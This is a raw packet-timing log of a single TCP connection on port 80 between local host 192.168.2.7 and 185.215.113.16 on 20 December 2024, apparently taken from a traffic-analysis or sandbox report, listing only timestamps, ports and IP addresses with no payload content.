Dec 20, 2024 16:05:37.993947983 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.993963003 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.994008064 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.995074987 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.995289087 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.995326996 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.999655008 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.999667883 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.999727011 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.000597000 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.000711918 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.000757933 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.003593922 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.003606081 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.003663063 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.006948948 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.006966114 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.007030010 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.008984089 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.012124062 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.012140036 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.012152910 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.012177944 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.012233973 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.017002106 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.017016888 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.017086983 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.017636061 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.017649889 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.017688036 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.020983934 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.063457012 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.105931044 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.105952978 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.106018066 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.106870890 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.107104063 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.107156992 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.109503984 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.110402107 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.110491991 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.110512972 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.113045931 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.113110065 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.113759995 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.115601063 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.115652084 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.115725994 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.118192911 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.118208885 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.118238926 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.120271921 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.120325089 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.120722055 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.122627020 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.122678041 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.122929096 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.124968052 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.125032902 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.125499010 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.127094984 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.127146959 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.127357960 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.130747080 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.130764961 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.130980968 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.131541967 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.131598949 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.131721973 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.135097980 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.135113955 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.135160923 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.136389017 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.136440992 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.136631966 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.138241053 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.138290882 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.138292074 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.140168905 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.140230894 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.141051054 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.142035961 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.142080069 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.142551899 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.144069910 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.144130945 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.144582033 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.146155119 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.146213055 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.146617889 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.148174047 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.148221970 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.148833036 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.150197983 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.150255919 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.150662899 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.152256012 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.152312040 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.152362108 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.154340029 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.154396057 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.154650927 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.156425953 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.156443119 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.156514883 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.158238888 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.158291101 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.158467054 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.160258055 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.160312891 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.160387993 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.162323952 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.162383080 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.162688971 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.164344072 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.164401054 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.164688110 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.167005062 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.167020082 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.167081118 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.168389082 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.168442965 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.168482065 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.170520067 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.170536041 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.170569897 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.172542095 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.172594070 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.172853947 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.174506903 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.174541950 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.174561977 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.176493883 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.176512003 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.176543951 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.178596020 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.178646088 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.178821087 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.180711031 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.180731058 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.180771112 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.182512999 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.182574034 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.182621002 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.184557915 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.184712887 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.185189009 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.186563969 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.186616898 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.186683893 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.188905954 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.188921928 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.188961029 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.190654993 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.190711975 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.190790892 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.192692995 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.192740917 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.192791939 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.194871902 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.194921017 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.195504904 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.196721077 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.196770906 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.196975946 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.198925018 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.198940992 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.198975086 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.200946093 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.201009035 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.201464891 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.202805996 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.202851057 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.202963114 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.204895973 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.204937935 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.205369949 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.206837893 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.206885099 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.207299948 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.209022045 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.209038019 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.209068060 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.211056948 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.211106062 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.211369991 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.213608980 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.213625908 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.213654995 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.214865923 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.214946985 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.298333883 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.299021006 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.299036026 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.299048901 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.299109936 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.299150944 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.301273108 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.301287889 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.301465988 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.302241087 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.302673101 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.303077936 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.303808928 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.303824902 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.303927898 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.305361986 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.305416107 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.306799889 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.306847095 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.307074070 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.308389902 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.308451891 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.308603048 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.308653116 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.310045958 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.310064077 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.310106039 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.311445951 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.312093973 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.312154055 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.313056946 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.313071966 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.313111067 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.314348936 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.315067053 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.315126896 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.316000938 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.316018105 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.316070080 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.317759991 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.317775011 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.317823887 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.318823099 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.319175005 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.320214987 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.320274115 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.320457935 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.320501089 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.321537971 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.322820902 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.323075056 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.323080063 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.323088884 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.323127985 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.324374914 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.324388981 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.324423075 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.326771975 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.326828957 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.327079058 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.327369928 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.327383995 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.327426910 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.328613997 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.328819990 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.328869104 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.329833984 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.330148935 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.331053972 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.331216097 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.331229925 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.331260920 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.333153963 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.333169937 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.333205938 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.333877087 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.333908081 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.335095882 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.335366011 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.336119890 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.336705923 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.336755991 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.337270021 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.337315083 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.339006901 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.339021921 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.339051962 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.339061022 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.339071989 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.339107990 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.340982914 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.340998888 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.341039896 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.341981888 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.341995955 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.342037916 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.343116045 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.343132019 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.343179941 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.344175100 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.344383001 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.345688105 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.345743895 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.345823050 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.345864058 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.347323895 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.347341061 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.347389936 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.347974062 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.348372936 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.349004984 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.350106955 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.350122929 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.350158930 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.350505114 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.350872993 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.351936102 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.351989985 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.352024078 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.352063894 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.353173018 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.353446960 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.353494883 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.354671955 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.355063915 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.355828047 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.355876923 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.355951071 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.355995893 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.357027054 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.357172012 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.358256102 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.358304977 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.358381987 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.358436108 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.359972954 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.359987974 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.360039949 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.360910892 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.361818075 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.362314939 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.362329006 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.362374067 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.362399101 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.363394022 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.364367008 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.364437103 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:38.365072966 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:38.365086079 CET	80	49757	185.215.113.16	192.168.2.7
